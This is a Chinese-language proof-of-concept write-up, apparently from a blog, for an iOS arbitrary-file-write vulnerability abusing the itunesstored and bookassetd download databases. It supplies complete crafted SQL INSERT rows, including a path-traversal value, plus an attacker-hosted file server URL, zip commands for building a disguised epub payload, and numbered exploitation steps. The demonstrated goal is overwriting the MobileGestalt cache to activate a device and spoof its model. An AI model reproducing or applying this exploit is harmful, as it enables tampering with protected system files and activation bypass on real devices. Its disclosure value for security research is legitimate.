概念验证 (POC)
恶意精心构造的 downloads.28.sqlitedb 数据库可以修改数据分区 (/private/var/) 上的文件,甚至可以修改通常不允许修改的系统偏好设置和缓存。
设备兼容性
该 POC 适用于运行 iOS 26.2b1 或更早版本的任何 iPhone 和 iPad。
在我们的测试案例中,我们使用一台运行 iOS 26.0.1 的 iPhone 12。我们将把一个修补后的文件写入 /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist,这将激活设备并将其设备类型设置为 iPod9,1 (iPod touch 7),以演示漏洞利用成功。
文件要求
为了利用此 POC,我们需要满足以下几个要求:
- 恶意的
downloads.28.sqlitedb数据库 (阶段1) - 恶意的
BLDatabaseManager.sqlite数据库 (阶段2) - 我们想要写入的目标文件,打包成 epub 格式。
- 用于托管以下文件的服务端:
BLDatabaseManager.sqliteiTunesMetadata.plist- 我们想要写入的目标文件。这可以是设备数据分区中由
mobile用户拥有的任何文件。
预期结果
下载任务应因未经授权的目标路径而停止。
实际结果
文件写入被允许,除非目标路径由 root 控制,否则写入将失败。但是,使用此 POC 可以写入大多数由 mobile 用户拥有的文件和路径。
可写文件路径示例
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/[...]/private/var/mobile/Library/FairPlay/[...]/private/var/mobile/Media/[...]/var/mobile/[...]- 更多 …
阶段1 - downloads.28.sqlitedb
在我们的 downloads.28 数据库中,我们找到了几个表——特别值得关注的是 asset 表,它可以下载文件到文件系统中的各种路径。
它由 itunesstored 守护进程管理,因此我们受限于此守护进程的沙盒权限。
例如,它不能写入 /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist。
但它可以写入我们的阶段2数据库位置:
/private/var/containers/Shared/SystemGroup/<某个_UUID_这里>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite
为了将文件下载到上述路径,我们只需要在我们的 downloads.28 数据库中添加一个新条目。以下 SQL 命令可以完成此任务:
INSERT INTO "main"."asset" ("pid", "download_id", "asset_order", "asset_type", "bytes_total", "url", "local_path", "destination_url", "path_extension", "retry_count", "http_method", "initial_odr_size", "is_discretionary", "is_downloaded", "is_drm_free", "is_external", "is_hls", "is_local_cache_server", "is_zip_streamable", "processing_types", "video_dimensions", "timeout_interval", "store_flavor", "download_token", "blocked_reason", "avfoundation_blocked", "service_type", "protection_type", "store_download_key", "etag", "bytes_to_hash", "hash_type", "server_guid", "file_protection", "variant_id", "hash_array", "http_headers", "request_parameters", "body_data", "body_data_file_path", "sinfs_data", "dpinfo_data", "uncompressed_size", "url_session_task_id") VALUES (1234567890, 6936249076851270150, 0, 'media', NULL, 'https://<URL域名>/fileprovider.php?type=sqlite', '/private/var/containers/Shared/SystemGroup/0DAF9578-C293-4C5D-9CF4-21E78AE8E372/Documents/BLDatabaseManager/BLDatabaseManager.sqlite', NULL, 'epub', 6, 'GET', NULL, 0, 0, 0, 1, 0, 0, 0, 0, NULL, 60, NULL, 466440000, 0, 0, 0, 0, '', NULL, NULL, 0, NULL, NULL, NULL, X'62706c6973743030a1015f10203661383338316461303164646263393339653733643131303036326266633566080a000000000000010100000000000000020000000000000000000000000000002d', NULL, NULL, NULL, NULL, NULL, NULL, 0, 1);
阶段2 - BLDatabaseManager.sqlite
此数据库由 bookassetd 管理,这是另一个负责在我们的 iDevice 上下载和管理 iBooks 的守护进程。它的沙盒权限更广,可以写入数据分区中大多数由 mobile 用户拥有的文件。
在我们的案例中,我们将把一个文件写入 /var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist。
为了将文件下载到那里,我们进入 BLDatabaseManager.sqlite 数据库,并向 ZBDOWNLOADINFO 表添加以下行:
INSERT INTO "ZBLDOWNLOADINFO" ("Z_PK", "Z_ENT", "Z_OPT", "ZACCOUNTIDENTIFIER", "ZCLEANUPPENDING", "ZFAMILYACCOUNTIDENTIFIER", "ZISAUTOMATICDOWNLOAD", "ZISLOCALCACHESERVER", "ZISPURCHASE", "ZISRESTORE", "ZISSAMPLE", "ZISZIPSTREAMABLE", "ZNUMBEROFBYTESTOHASH", "ZPERSISTENTIDENTIFIER", "ZPUBLICATIONVERSION", "ZSERVERNUMBEROFBYTESTOHASH", "ZSIZE", "ZSTATE", "ZSTOREIDENTIFIER", "ZSTOREPLAYLISTIDENTIFIER", "ZLASTSTATECHANGETIME", "ZPURCHASEDATE", "ZSTARTTIME", "ZARTISTNAME", "ZARTWORKPATH", "ZASSETPATH", "ZBUYPARAMETERS", "ZCANCELDOWNLOADURL", "ZCLIENTIDENTIFIER", "ZCOLLECTIONARTISTNAME", "ZCOLLECTIONTITLE", "ZDOWNLOADID", "ZDOWNLOADKEY", "ZENCRYPTIONKEY", "ZEPUBRIGHTSPATH", "ZFILEEXTENSION", "ZGENRE", "ZHASHTYPE", "ZKIND", "ZMD5HASHSTRINGS", "ZORIGINALURL", "ZPERMLINK", "ZPLISTPATH", "ZSALT", "ZSUBTITLE", "ZTHUMBNAILIMAGEURL", "ZTITLE", "ZTRANSACTIONIDENTIFIER", "ZURL", "ZRACGUID", "ZDPINFO", "ZSINFDATA", "ZFILEATTRIBUTES") VALUES
('1', '2', '3', '0', '0', '0', '0', '', NULL, NULL, NULL, NULL, '0', '0', '0', NULL, '4648', '2', '765107108', NULL, '767991550.119197', NULL, '767991353.245275', NULL, NULL, '/private/var/mobile/Media/Books/asset.epub', 'productType=PUB&price=0&salableAdamId=765107106&pricingParameters=PLUS&pg=default&mtApp=com.apple.iBooks&mtEventTime=1746298553233&mtOsVersion=18.4.1&mtPageId=SearchIncrementalTopResults&mtPageType=Search&mtPageContext=search&mtTopic=xp_amp_bookstore&mtRequestId=35276ff6-5c8b-4136-894e-b6d8fc7677b3', 'https://p19-buy.itunes.apple.com/WebObjects/MZFastFinance.woa/wa/songDownloadDone?download-id=J19N_PUB_190099164604738&cancel=1', '4GG2695MJK.com.apple.iBooks', 'Sebastian Saenz', 'Cartas de Amor a la Luna', '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library', NULL, NULL, NULL, NULL, 'Contemporary Romance', NULL, 'ebook', NULL, NULL, NULL, '/private/var/mobile/Media/Books/iTunesMetadata.plist', NULL, 'Cartas de Amor a la Luna', 'https://<URL域名>/fileprovider.php?type=gestalt', 'Cartas de Amor a la Luna', 'J19N_PUB_190099164604738', 'https://<URL域名>/fileprovider.php?type=gestalt2', NULL, NULL, NULL, NULL);
目标文件 - EPUB 格式
为了成功写入文件,文件需要具有正确的格式。
通常的结构如下所示:
mybook/
├── mimetype
├── META-INF/
│ └── container.xml
└── OEBPS/
├── content.opf
├── nav.xhtml
└── chapter1.xhtml
在我们的案例中,我们稍微修改了一下结构,如下所示:
Caches/
├── mimetype
└── com.apple.MobileGestalt.plist
在压缩此结构时,我们需要确保 mimetype 文件不被压缩。
我们可以这样做:
zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
生成的文件已准备就绪,可以放在服务器上,以便通过 BLDatabaseManager 下载到目标路径。
漏洞利用过程
- 启动设备,连接到具有互联网访问权限的稳定 WiFi 网络。
- 修改
downloads.28.sqlitedb数据库,使其包含指向BLDatabaseManager的正确路径。我们需要在此处找到路径的正确 UUID。这可以通过使用命令pymobiledevice3 syslog collect logs.logarchive获取设备日志存档来实现。生成的文件可以在 Mac 的 Console.app 中打开,我们可以通过搜索 “BLDatabase” 轻松找到路径。例如:info 2025-10-20 22:43:29.111433 +0200 bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID_这里>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite。找到后,用正确的路径替换数据库中的路径。 - 首先,删除文件夹
/var/mobile/Media/Downloads中的所有文件。 - 将精心构造的
downloads.28.sqlitedb放入/var/mobile/Media/Downloads/downloads.28.sqlitedb。这可以通过任何 Apple File Conduit (afc) 客户端完成,例如 3uTools、i4.cn 或使用afcclient命令行工具 (https://github.com/emonti/afcclient/tree/master)。 - 重启设备。重启后,
/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist处应该会出现一个文件,这表明第一阶段奏效了。 - 将此
/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist复制到/var/mobile/Media/Books/iTunesMetadata.plist。 - 再次重启。重启后,文件夹
/var/mobile/Media/Books/中应该会出现一些新文件 (asset.epub)。文件/var/mobile/Media/Books/iTunesMetadata.plist应该会消失,只需再次添加它。 - 再次重启。
- 修改应该已成功写入。
5500

被折叠的 条评论
为什么被折叠?



